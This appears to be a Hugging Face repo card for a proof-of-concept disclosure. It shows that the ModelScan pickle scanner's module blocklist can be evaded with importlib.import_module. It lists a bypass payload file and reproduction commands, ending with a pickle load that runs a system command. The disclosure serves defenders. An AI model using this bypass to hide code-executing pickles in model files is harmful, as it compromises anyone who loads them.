YAML Metadata Warning: empty or missing yaml metadata in repo card (https://huggingface.co/docs/hub/datasets-cards)
PoC: ModelScan Blocklist Bypass via importlib.import_module
Target: protectai/modelscan CWE: CWE-693 (Protection Mechanism Failure)
Vulnerability
ModelScan's pickle scanner maintains a blocklist of 21 dangerous modules (os, subprocess, shutil, etc.). However, importlib is not on the blocklist. A pickle using importlib.import_module('os') bypasses all scanning and returns the full os module, enabling arbitrary code execution.
The bypass defeats the entire blocklist — all 21 blocked modules can be imported via importlib.import_module() indirection.
Files
poc_importlib_bypass.pkl— 36-byte bypass payload (scans clean)poc_importlib_bypass.py— PoC generator scriptreproduce.sh— Full reproduction script
Quick Reproduce
pip install modelscan
python3 poc_importlib_bypass.py
modelscan -p poc_importlib_bypass.pkl # "No issues found!"
python3 -c "import pickle; m=pickle.load(open('poc_importlib_bypass.pkl','rb')); m.system('id')"
- Downloads last month
- 15